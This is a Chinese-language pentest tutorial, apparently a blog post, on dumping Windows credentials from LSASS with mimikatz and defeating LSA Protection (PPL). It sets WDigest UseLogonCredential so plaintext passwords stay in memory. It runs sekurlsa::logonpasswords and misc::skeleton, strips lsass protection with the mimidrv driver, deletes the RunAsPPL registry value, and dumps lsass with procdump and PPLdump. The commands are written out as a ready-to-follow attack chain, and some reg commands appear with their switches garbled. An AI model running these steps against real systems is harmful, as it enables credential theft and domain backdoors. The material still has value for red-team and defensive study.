目录:
Debug Privilege
明文凭证保护 & PPL技术
LSA Protection 验证及绕过姿势
mimikatz + minidrv.sys
删除RunAsPPL注册表项&重启
Userland 漏洞漏洞利用 (绕过PPL)
mimikatz Debug Privilege
本文测试环境
QAQ:
# Debug Privilege
进行dump凭证时需要获取调试权限
原因:
详见: http://msdn.miscrosoft.com/library/windows/hardware/ff541528.aspx
原理:
调试权限允许用户调试他们原本无权访问的进程。例如,以在其令牌上启用调试权限的用户身份运行的进程可以调试作为本地系统运行的服务。
明文凭证保护&PPL技术
QAQ:
mimikatz # privilege::debug (提升权限)
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords (抓取明文密码和 hash)
可能原因:
KB2871997
详见:https://msrc-blog.microsoft.com/2014/06/05/an-overview-of-kb2871997/
原理:
更新KB2871997补丁后,可禁用Wdigest Auth强制系统的内存不保存明文口令,此时mimikatz均无法获得系统的明文口令。
但是其他一些系统服务(如IIS的SSO身份验证)在运行的过程中需要Wdigest Auth开启,所以补丁采取了折中的办法——安装补丁后可选择是否禁用Wdigest Auth。当然,如果启用Wdigest Auth,内存中还是会保存系统的明文口令。
所支持的系统:
Windows 7
Windows 8
Windows 8.1
Windows Server 2008
Windows Server 2012
Windows Server 2012R 2
但是这里测试发现并非补丁的问题
图1
图2(这才是原因-根本就没有这个键值)
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest v UseLogonCredential
创建一个
# 关闭Wdigest Auth
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest v UseLogonCredential t REG_DWORD d 0 f
# 开启Wdigest Auth
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
图1-成功添加并设键值为 0
图2
同样的方式,将UseLogonCredential的值设为1
# 开启Wdigest Auth
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest v UseLogonCredential t REG_DWORD d 1 f
然后注销当前用户,用户再次登录后使用mimikatz即可导出明文凭证。
如图:
LSA 保护
详见:https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection
原理:
如果启用了 LSA 保护,则无法调试自定义 LSA 插件。如果调试程序是受保护的进程,则不能将调试程序附加它。一般情况下,不支持调试正在运行的受保护进程。
此功能基于PPL技术,它是一种纵深防御的安全功能,旨在“防止非管理员非PPL进程通过打开进程之类的函数篡改PPL进程的代码和数据”。
适用系统
启用 LSA 保护
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
LSA Protection 验证及绕过姿势
测试如下:
0.测试环境
winver
可dump明文凭证
1. 配置 LSA Protection
注册表位置:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
新建-DWORD(32)值
然后重启系统。
2. 成功阻止了与LSASS的交互
mimikatz # privilege::debug (提升权限)
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
mimikatz # misc::skeleton
3.绕过 LSA Protection
minikatz + minidrv.sys
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton
删除RunAsPPL注册表项&重启
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
Userland 漏洞漏洞利用 (绕过PPL)
procdump64 -ma lsass lsass.dmp
PPLdump64.exe -v lsass lsass.dmp
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonPasswords full
成功bypass lsa protection。
参考及推荐文章:
https://docs.microsoft.com/
https://github.com/gentilkiwi/mimikatz/
https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/
https://www.redcursor.com.au/blog/bypassing-lsa-protection-aka-protected-process-light-without-mimikatz-on-windows-10